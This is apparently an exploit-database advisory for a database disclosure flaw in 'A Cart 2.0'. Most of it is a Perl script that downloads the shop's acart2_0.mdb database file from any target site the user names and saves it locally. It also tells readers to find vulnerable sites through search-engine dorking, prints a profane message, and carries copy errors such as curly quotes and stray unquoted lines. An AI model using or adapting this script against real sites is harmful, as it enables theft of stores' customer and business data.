Headline
A Cart 2.0 Database Disclosure
A Cart version 2.0 suffers from a database disclosure vulnerability.
====================================================================================================================================
| # Title : A cart 2.0 Database Disclosure Exploit |
| # Author : indoushka |
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 108.0(32-bit) |
| # Vendor : http://ToastForums.com |
| # Dork : |
====================================================================================================================================
poc :
[-] Download the database:
The following Perl exploit will attempt to download the (acart.mdb ) file
The (acart.mdb) It is the database and contains all the data .
[+] Dorking İn Google Or Other Search Enggine.
[+] save code as perl file : poc.pl
[+] code :
#!/usr/bin/perl -w
A_cart 2.0 Database Disclosure Exploit
Author : indoushka
Vondor : ToastForums.com
use LWP::Simple;
use LWP::UserAgent;
system(‘cls’);
system(‘A_cart 2.0 Database Disclosure Exploit’);
system(‘color a’);
if(@ARGV < 2)
{
print "[-]How To Use\n\n";
&help; exit();
}
sub help()
{
print "[+] usage1 : perl $0 site.com /path/ \n";
print "[+] usage2 : perl $0 localhost / \n";
}
($TargetIP, $path, $File,) = @ARGV;
$File="acart2_0.mdb";
my $url = “http://” . $TargetIP . $path . $File;
print "\n Fuck you wait!!! \n\n";
my $useragent = LWP::UserAgent->new();
my $request = $useragent->get($url,":content_file" => “D:/acart2_0.mdb”);
if ($request->is_success)
{
print "[+] $url Exploited!\n\n";
print "[+] Database saved to D:/acart2_0.mdb\n";
exit();
}
else
{
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";
exit();
}
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* |
============================================================================================